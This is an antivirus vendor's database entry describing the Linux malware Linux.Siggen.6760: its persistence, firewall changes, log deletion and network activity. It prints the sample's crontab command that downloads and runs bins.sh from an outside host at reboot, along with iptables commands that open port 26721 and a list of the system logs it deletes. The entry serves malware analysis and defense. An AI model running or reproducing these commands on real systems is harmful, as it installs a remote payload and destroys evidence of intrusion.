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Linux.Siggen.6760
Added to the Dr.Web virus database:
2024-03-17
Virus description added:
2024-03-16
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
Launches processes:
/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/usr/sbin/xtables-nft-multi iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
crontab -
crontab -l
busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
sh bins.sh
iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
(crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
chmod +x bins.sh
/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
Performs operations with the file system:
Modifies file access rights:
/var/spool/cron/crontabs/tmp.Zv09sv
Deletes folders:
/null
/var/log/syslog
/var/log/daemon.log
/tmp/clearsigned.message.9yPEBx
/tmp/clearsigned.message.TaVZXm
/tmp/clearsigned.message.3CQn99
/tmp/clearsigned.message.3CB41c
/tmp/clearsigned.message.AAIPeD
/tmp/clearsigned.message.Nk1lCc
/var/log/btmp
/var/log/kern.log.1.gz
/var/log/auth.log.1.gz
/var/log/debug.1.gz
/var/log/messages.1.gz
/var/log/kern.log
/var/log/auth.log
/var/log/debug
/var/log/messages
/var/lib/logrotate/status.tmp
Creates or modifies files:
/dev/full
/var/spool/cron/crontabs/tmp.Zv09sv
/etc/init/bot.conf
/root/.bashrc
Deletes files:
/null
/var/log/syslog
/var/log/daemon.log
/tmp/clearsigned.message.9yPEBx
/tmp/clearsigned.message.TaVZXm
/tmp/clearsigned.message.3CQn99
/tmp/clearsigned.message.3CB41c
/tmp/clearsigned.message.AAIPeD
/tmp/clearsigned.message.Nk1lCc
/var/log/btmp
/var/log/kern.log.1.gz
/var/log/auth.log.1.gz
/var/log/debug.1.gz
/var/log/messages.1.gz
/var/log/kern.log
/var/log/auth.log
/var/log/debug
/var/log/messages
/var/lib/logrotate/status.tmp
Changes time of creation/access/modification of files:
Network activity:
Awaits incoming connections on ports:
127.0.0.1:8345
0.0.0.0:26721
Establishes connection:
8.#.8.8:53
13#.#95.4.2:53
19#.###.175.43:35342
19#.##9.175.43:2222
DNS ASK:
Sends data to the following servers:
Receives data from the following servers:
Curing recommendations
Linux
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